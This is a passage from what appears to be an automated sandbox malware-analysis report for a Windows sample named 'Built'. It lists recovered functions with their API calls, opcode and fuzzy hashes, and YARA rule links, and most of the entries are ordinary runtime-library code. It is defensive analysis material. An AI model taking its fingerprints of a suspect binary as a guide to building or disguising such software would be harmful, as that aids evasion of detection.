Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 6bdec473a1115a50d68ea61b8e6f73ab385847abfd400c03a9e46faf91eeb7b7
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 9D91B472E1865185FF609F6597402BD3BA0BB64B88F5C6139EE0EF7699CE38D482D700

Function 00007FF65E295628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E295655
CreateFileW.KERNELBASE ref: 00007FF65E295694
CloseHandle.KERNEL32 ref: 00007FF65E2956C9

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: abfcec0c1eccae45def0ec14e285701159a39fc1a6af7c93d519b1c65f2ca903
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 74418322E5878183EB508B2197503797360FFA47A4F14A339FA9C93AD9DF7CA5E08710

Function 00007FF65E28CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E28CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF65E28CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF65E28CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF65E28CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF65E28CD21

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 8f88573af3c10fcc84ea9442cc27f9188a21e52087fdf66bad6a8a81d67caf13
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 2A310721E4C24641FE64AB659B623B93681AF71784F4C5034FA0EF72DFDE6DA844C202

Function 00007FF65E299A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF65E299A2C), ref: 00007FF65E299A41
TerminateProcess.KERNEL32(?,?,?,00007FF65E299A2C), ref: 00007FF65E299A4C
ExitProcess.KERNEL32 ref: 00007FF65E299A5B

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 9f681d80292aad70988bec5bd4fc457d585bbd81a8d1862f3aab52163497657b
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: 29D09E10B4870642EF142B715F5507C3256AF68711F1C2438E80BEA39BDD6CA8898340

Function 00007FF65E29013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E290180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E290277

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 82982899e2f7472e2de185292d1da54c25d4651a48abe4ff1f0fbde8bcf0906a
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: C4512661B0924986EF249E259700A7A7291AF60BA4F0C6634FD7CE37CDCE3CE4808606

Function 00007FF65E29C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF65E29C2CD), ref: 00007FF65E29C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF65E29C2CD), ref: 00007FF65E29C18A

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: ac8a5fb4ccc9e17118baaf58dc0298b0c84d4ac98d5e0341e74d6dd2e2f5c245
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 6911DD22608A8181DE208B25AB40069B361AB61BF0F5C1331FA7D9B7EDCE78D0808700

Function 00007FF65E29A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A95E
GetLastError.KERNEL32(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A968

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 9592f29e1f8b644335457ac338357a01178b4cdde075680979a68b7ada0f497e
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: ACE08C50F4930243FF186BF2AB951393251BFB8B00F4D1430F80DE22A9EE6CA8C18310

Function 00007FF65E29AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF65E29A9D5,?,?,00000000,00007FF65E29AA8A), ref: 00007FF65E29ABC6
GetLastError.KERNEL32(?,?,?,00007FF65E29A9D5,?,?,00000000,00007FF65E29AA8A), ref: 00007FF65E29ABD0

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 4d819c8bf71fcc0032d09beda254ae6bef654563870bfdf9c708a506b46b0d80
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: DE216251F1878241EEA45761979137936829FB47D4F0C6279F92EE7BDDCE6CE4C14200

Function 00007FF65E29BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29BED4

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: d7ff0fc84c63885f4ad9997c29539fd5777178999f6cbd563262bbf4002886c9
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 8841D43291824587EE348B29A74427973A1EF65B81F182131F68ED36D9CF2CE482CB54

Function 00007FF65E287F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF65E28803A

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction ID: 14158abfd7d765aff35c4f521640649d5e5df173ef2cddfc1e3cef4ca73ece10
Opcode Fuzzy Hash: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction Fuzzy Hash: 13219612B1C75646FE549A226B047BAB651BF65BC4FCC5470FE0DABB8ACEBDE041C200

Function 00007FF65E29B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29B9C2

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 6b76e0ff4361bd17b88ad132046d82c8f01f0885ab35220bc16dd0e69b1d6e46
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 4F31A122A2860281FF116B559B8037C3691BFA1B91F492135F95DE73DACF7CE8C18B15

Function 00007FF65E299961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF65E29998F

Part of subcall function 00007FF65E299A88: GetModuleHandleExW.KERNEL32 ref: 00007FF65E299AAD
Part of subcall function 00007FF65E299A88: GetProcAddress.KERNEL32 ref: 00007FF65E299AC3
Part of subcall function 00007FF65E299A88: FreeLibrary.KERNEL32 ref: 00007FF65E299AEA

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: b1ab686f66b137d2646cc1eb0d4413a742d85e32f4b728e9f470ca1af0800490
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: 39219F72A0474589FF248F68C6802EC33A4FB18728F081636F75CA6AC9DF38E584C740

Function 00007FF65E295F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E295EF9

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: a771bfc59f78610a09b1be8a1d5afca25e14996be5ee87d8ce3cf27fd38fb3e9
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: EA114F21B1D64282EE609F119700179B264AFA5B94F486435FACCE7A9ECF3DE4804710

Function 00007FF65E2A6354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A6377

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: b9db4eebd6a38d23403daf4b428746a1ddf82df7295bbbad5324463d52b7d062
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 85218072A18A4286DF618F18D74037976A0BBA4B54F289238F65DD76DDDF7DD4018B00

Function 00007FF65E2903BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E290410

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 746715f2331bd27c1a40f8ff3ba34d05c2f53bd702c9384d50cfaf15f03364a2
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 3E017061A0874540EE449F525B00469B6A1AFA5FE0F4C6631FE5CF3BDACF3CD8814300

Function 00007FF65E297EFC Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E297F3A

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction ID: 8474b209d402daf86de806d1355744ca8ed5b99958f61ccd20f6fe72bffd4ad2
Opcode Fuzzy Hash: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction Fuzzy Hash: 66015722E1D68740FE606A21A7411793290AF707A0F5C6635FA1CF26CEDE3CA4814201

Function 00007FF65E298238 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E298251

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: f311a9fce46dd841bf228b470f67d69d4be8978464bd9b97b2c61df964ea8f69
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: D4E08C50E1C64787FE193AA407C217832605FB5340F4C2035F908E62CBDD2C7CC45221

Function 00007FF65E29D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF65E290C90,?,?,?,00007FF65E2922FA,?,?,?,?,?,00007FF65E293AE9), ref: 00007FF65E29D63A

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: f5d1832e896caa1be7be3ae7a5d7a6eae82285e47200a61c388d9548037fd0e9
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 47F05894F0920340FE642BB16B4127833914FA87A0F0C2730FD2EE62CEDE6CB4C0A220

Non-executed Functions

Function 00007FF65E28D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF65E28D148
RtlCaptureContext.KERNEL32 ref: 00007FF65E28D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF65E28D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF65E28D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF65E28D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF65E28D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF65E28D24C

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
